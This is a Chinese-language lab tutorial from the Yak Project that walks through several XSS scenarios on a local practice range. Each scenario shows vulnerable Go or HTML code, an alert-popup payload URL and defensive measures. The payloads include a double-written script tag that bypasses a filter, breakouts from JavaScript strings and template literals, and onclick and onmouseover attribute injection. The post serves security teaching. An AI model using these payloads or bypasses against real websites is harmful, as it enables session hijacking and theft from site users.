跳到主要内容

靶场实战:XSS 多场景(一)

· 阅读需 13 分钟
Yak Project
网络安全垂直语言团队

前言

靶场通关系列在本文迎来全新类型。此前我们已经讲解了 SQL 注入类型Yakit靶场通关教程|SQL注入篇(二) ,本文开始靶场第二关:XSS 跨站脚本攻击。

XSS跨站脚本攻击

大家之前可能遇到过在浏览网站或者类似即时通讯软件时,弹出链接,出于好奇,点击链接后你的信息被窃取。这其实就是XSS攻击的简单流程。

XSS (Cross-Site Scripting) 是一种常见的网络安全漏洞,它允许攻击者将恶意的脚本注入到受信任的网站上,并在用户的浏览器中执行。XSS攻击通常发生在Web应用程序中,当用户输入的数据未经适当的验证或过滤,直接输出到网页上时,攻击者可以利用这个漏洞执行恶意脚本。

XSS攻击的危害包括但不限于窃取用户敏感信息(如Cookie、登录凭据等)、劫持用户会话、篡改网页内容等。

它允许将恶意代码植入Web页面,当其他用户访问此页面时,植入的恶意代码就会在其他用户的客户端中执行。(概括讲就是攻击者能修改web网页的内容及功能,当受害者点击这个网页时,就能通过修改内容和功能达到攻击者的目的。在XSS攻击中,一般有三个角色参与:攻击者、目标服务器、受害者的浏览器。

案例分享及教学安全实体转义

安全实体转义是将特殊字符转换成对应的HTML实体,从而防止浏览器将其解释为HTML标签或脚本代码。

常见的安全实体包括:5类

1、< 转义为 &lt;

2、> 转义为 &gt;

3、& 转义为 &amp;

4、' 转义为&#39;或 &apos;

5、" 转义为 &quot;

通过对用户输入进行安全实体转义,即使用户输入的内容中包含特殊字符或HTML标签,也会被转义为普通文本,而不会被当作代码执行。

直接拼接导致XSS注入

如果直接拼接用户输入而没有进行适当的处理,将导致XSS(跨站脚本攻击)注入的风险。XSS攻击是一种利用网页应用程序对用户输入数据的不当处理,从而在用户浏览器上执行恶意脚本的攻击。

示例代码

http://127.0.0.1:8787/xss/echo?name=admin
/*拼接后*/
<div>Hello admin</div>

此处的案例中后端代码直接将用户输入拼接后返回给浏览器,当插入html标签或javascript代码时浏览器将会执行。

攻击示例:

http://127.0.0.1:8787/xss/echo?name=<script>alert("Hello Yakit")</script>
/*构造拼接后*/
<div>Hello <script>alert("Hello Yakit")</script></div>

当攻击者提交此javascript代码时,浏览器将会执行代码,造成弹窗。

防御措施:

  • 输入验证:对用户输入进行验证,只接受符合特定格式的数据。例如,如果需要一个整数,确保输入是整数类型,而不是字符串或其他类型的数据。
  • 输出编码:在将用户输入输出到网页上之前,对其进行适当的编码,以确保所有特殊字符都被转义。这样可以防止恶意脚本的执行。
  • 使用HTTP Only标志:对于cookie中的敏感信息,使用HttpOnly标志,确保它们不会被JavaScript访问,从而减少XSS攻击的可能性。
  • 内容安全策略(CSP):使用CSP头来限制网页中加载的资源,只允许从指定源加载内容,这有助于减少XSS攻击的成功率。
  • 使用安全框架:使用安全框架和库来处理用户输入和输出,这些框架通常会自动处理XSS防护。

靶场演示:视频不安全的过滤导致XSS

如果不安全地过滤输入,特别是对<script>标签的不安全过滤,可能导致XSS(跨站脚本攻击)漏洞。XSS攻击是一种利用网页应用程序未正确过滤或转义用户输入的情况下,将恶意脚本注入到网页中并在用户浏览器上执行的攻击。

示例代码

func(writer http.ResponseWriter, request *http.Request) {
var name = request.URL.Query().Get("name")
scriptRegex := regexp.MustCompile("(?i)<script>")
name = scriptRegex.ReplaceAllString(name, "")
scriptEndRegex := regexp.MustCompile("(?i)</script>")
name = scriptEndRegex.ReplaceAllString(name, "")
writer.Write([]byte(fmt.Sprintf(`<html>Hello %v</html>`, name)))

攻击示例:

可以通过双写<script>标签的方式来绕过,这样当<script>标签被过滤掉,剩下的组合起来刚好形成一个完整的payload。

http://127.0.0.1:8787/xss/replace/nocase?name=<scr<script>ipt>alert("hello yakit")</scr</script>ipt>
#过滤后变成
<script>alert("Hello Yakit")</script>

利用iframe标签

http://127.0.0.1:8787/xss/replace/nocase?name=<iframe src="javascript:alert('Hello Yakit')">

防御措施:

要防止此类XSS攻击,不应仅仅对<script>标签和</script>标签进行过滤。正确的做法是对用户输入进行全面的输入验证和输出编码。具体措施如下:

  • 输入验证:对用户输入进行验证,只接受符合特定格式和类型的数据。拒绝包含特殊字符或HTML标签的输入。
  • 输出编码:在将用户输入显示在网页上之前,进行适当的输出编码,将特殊字符转换为对应的HTML实体,以防止恶意脚本的执行。可以使用合适的编码函数,如在Python中使用html.escape
  • CSP:使用内容安全策略(CSP)来限制网页中加载的资源,只允许从指定源加载内容,有助于减少XSS攻击的成功率。

靶场演示:视频XSS: 存在于 JS 代码中(字符串中)

XSS(跨站脚本攻击)可以存在于JavaScript代码中,特别是在字符串中,如果这些字符串未经适当的处理,直接嵌入到网页中。攻击者可以通过注入恶意的JavaScript代码,将恶意脚本注入到页面中,从而在用户的浏览器中执行。

示例代码

此案例中从URL中获取name的传参到script标签中

<div>
Here are photo for U! <br>
<script>console.info("Hello" + '')</script>
</div>

攻击示例:

当用户利用拼接方式,可以将恶意代码传递到页面中执行

http://127.0.0.1:8787/xss/js/in-str?name=')</script><script>alert('Hello Yakit

<!--拼接后带代码如下 -->
<div>
Here are photo for U! <br>
<script>console.info("Hello" + '')</script>
<script>alert('Hello Yakit')</script>
</div>

未经处理的恶意代码就会被嵌入到JavaScript代码中,导致在用户的浏览器中执行恶意的弹窗脚本。

防御措施:

对于此类漏洞防御,具体措施如下:

  • 输入验证:对用户输入进行验证,只接受符合特定格式和类型的数据。拒绝包含特殊字符或HTML标签的输入。
  • 输出编码:在将用户输入显示在网页上之前,进行适当的输出编码,将特殊字符转换为对应的HTML实体,以防止恶意脚本的执行。

靶场演示:视频XSS: 存在于 JS 代码中(字符串中 2)

此案例与前一个类似,但此处是变量值未经适当的处理,直接嵌入到网页中。攻击者可以通过在变量值中传入恶意的JavaScript代码,将恶意脚本注入到页面中,从而在用户的浏览器中执行。

示例代码

此处以get方式获取参数值,并赋值给name,正好又在

<div>
Here are photo for U! <br>
<script>
const name = "";
console.info("Hello" + `${name}`);
</script>
</div>

攻击示例:

尝试通过拼接来分割前后,从而执行想要的代码

<!-- 成功的拼接,注意末尾多了两个斜杠-->
http://test.com/xss/js/in-str2?name=test"</script><script>alert("Hello Yakit")//
<!--拼接后的代码-->
<div>Here are photo for U! <br>
<script>const name = "test"</script>
<script>alert("Hello Yakit") //";
console.info("Hello" + `${name}`);
</script>
</div>

在HTML中,//是JavaScript代码中的注释符号。HTML本身并没有//这个特殊的符号含义,但在HTML的<script>标签中嵌入的JavaScript代码中,//用于表示单行注释。任何位于//之后的内容都会被视为注释,不会被JavaScript解释执行。

防御措施:

此处的问题任是直接将用户的输入带入到代码中,造成恶意代码的执行,对于此类漏洞防御,具体措施如下:

  • 输入验证:对用户输入进行验证,只接受符合特定格式和类型的数据。拒绝包含特殊字符或HTML标签的输入。
  • 输出编码:在将用户输入显示在网页上之前,进行适当的输出编码,将特殊字符转换为对应的HTML实体,以防止恶意脚本的执行。

靶场演示:视频XSS: 存在于 JS 代码中(字符串模版中)

在JS代码中的字符串模版中,XSS漏洞发生在使用字符串模版(``符号)来动态构造HTML或JS代码时,而未对用户输入进行充分转义或过滤。这使得恶意用户可以通过注入恶意代码来执行任意JS代码,从而实施XSS攻击

示例代码

在示例代码中,字符串模版中的{{ .name }}代表需要动态替换的用户输入。如果该输入未经适当的转义和验证,攻击者可以构造特制的输入,使之包含恶意的JavaScript代码。

<div>
Here are photo for U! <br>
<script>const name = "Admin";
console.info("Hello" + `+"`{{ .name }}: ${name}`"+`);
</script>
</div>

攻击示例:

通过在URL中构造特定的参数,攻击者可以注入恶意脚本代码,从而实现XSS攻击。例如,使用以下参数:

?name=`%2balert('XSS Attack!')%2b`

上述payload将在浏览器打开时,出现弹窗。

防御措施:

  • 禁止直接插入用户输入:不要将用户输入直接插入到JavaScript代码中,尤其是字符串模版中。
  • 安全编码实践:采用安全编码实践,避免将用户输入和动态内容插入到不受信任的上下文中。

靶场演示:视频输出存在于HTML节点on...属性中

这是一个关于跨站脚本攻击(XSS)的漏洞案例,涉及到在HTML节点的onclick属性中插入恶意脚本。

示例代码

在这个示例中,一个图片显示了一个onclick属性,其值从用户提供的输入中获取。攻击者可以构造恶意的代码,使其在用户点击图片时执行。

<div>
Hello Visitor!
<br>
Here are photo for U! <br>
<img style='width: 100px' src="/static/logo.png" onclick='{{ .code }}'/>
</div>

攻击示例:

假设攻击者想要在受害者的浏览器上执行一个弹窗来显示“XSS Attack!”。攻击者可以构造如下的payload:

?code=alert("Hello Yakit")

当用户点击图片时,浏览器会执行onclick属性中的JavaScript代码,导致弹窗显示“XSS Attack!”。

防御措施:

  • 输入验证和过滤:在处理用户输入时,对输入进行严格验证和过滤,只允许预期的内容通过。可以使用白名单验证,只允许特定类型的输入通过,例如只允许数字或特定字符。
  • 输出编码:在将用户输入输出到HTML页面时,对其进行HTML编码,以防止其中的HTML和JavaScript代码被解释执行。可以使用安全的输出方法,如使用textContent而不是innerHTML
  • 移除不必要的事件处理程序:避免在HTML节点的onclick属性中直接插入用户输入。相反,尽量避免使用内联事件处理程序,可以在外部的JavaScript脚本中添加事件监听器。
  • 使用模板引擎:如果你必须在HTML属性中包含动态内容,建议使用模板引擎,它们通常会自动对输出进行适当的编码,以防止XSS攻击。

靶场演示:视频输出存在于HTML节点属性中但是不再on属性中(IMG ALT)

本案例演示了一种XSS攻击方式,通过将恶意代码注入到HTML节点属性中(如IMG标签的ALT属性),但不在on属性中,从而绕过一些安全机制。

示例代码

以下是一个简化的示例代码,用于说明在HTML节点属性中利用XSS漏洞。

{
DefaultQuery: "value=visitor-name",
Path: "/attr/alt",
Title: "输出存在于HTML节点属性中,但是不再on属性中(IMG ALT)",
Handler: func(writer http.ResponseWriter, request *http.Request) {
unsafeTemplateRender(writer, request, `<!doctype html>
<html>
<head>
<title>Example DEMO</title>
<!-- ... 省略其他标签 ... -->
</head>
<body>
<div>
Hello Visitor!
<br>
Here are photo for U! <br>
<img style='width: 100px' alt='{{.value}}' src="/static/logo.png" onclick='javascript:alert("Welcome CLICK ME!")'/>
</div>
</body>
</html>`, map[string]any{
"value": LoadFromGetJSONParam(request, "json", "value"),
})
writer.Header().Set("Content-Type", "text/html")
},
RiskDetected: true,
}

攻击示例:

http://127.0.0.1:8787/xss/attr/alt?value=' onmouseover='alert("Hello Yakit")
<!--修改后的标签-->
<img style='width: 100px' alt='' onmouseover='alert("Hello Yakit")' src="/static/logo.png" .../>

在上述攻击示例中,攻击者通过在value参数中注入' onmouseover='alert("Hello Yakit"),将恶意代码嵌入到ALT属性中。当用户浏览到包含这个IMG标签的页面时,当鼠标悬停在图像上时,浏览器会执行嵌入的JavaScript代码,弹出一个弹窗。

防御措施:

要防范这种类型的漏洞,开发者需要对从用户输入获取的数据进行适当的转义和过滤,确保用户提供的内容不会被解释为HTML或JavaScript代码。这可以通过使用安全的HTML编码函数来实现。

靶场演示:视频结尾

通过以上的案例教学,大家应该对XSS攻击有一定的认识,说白了就是在网页中嵌入客户端恶意脚本代码,这里再补充一点:这些恶意代码一般是使用JavaScript语言编写的。所以如果想要深入学习并掌握XSS,JavaScript是必不可少的技能,JavaScript能做到什么效果,XSS的威力就有多大。

下周Yak靶场系列将继续XSS多场景教学,关注文末Yak project公众号,敬请期待~

Loading...进阶1:输出存在于HTML节点属性中,但是不再on属性中(IMG ALT)进阶2:输出存在于HTML节点属性中,但是不再on属性中(IMG ALT)输出存在于HTML节点属性中,但是不再on属性中(IMG SRC)输出存在于HTML节点属性中,但是不再on属性中(HREF)输出存在于HTML节点on...属性中的部分代码属性script标签的某些属性中Cookie 中的 XSSCookie 中的 XSS(Base64)Cookie 中的 XSS(Base64-JSON)


本文首发于 Yak Project 公众号,阅读原文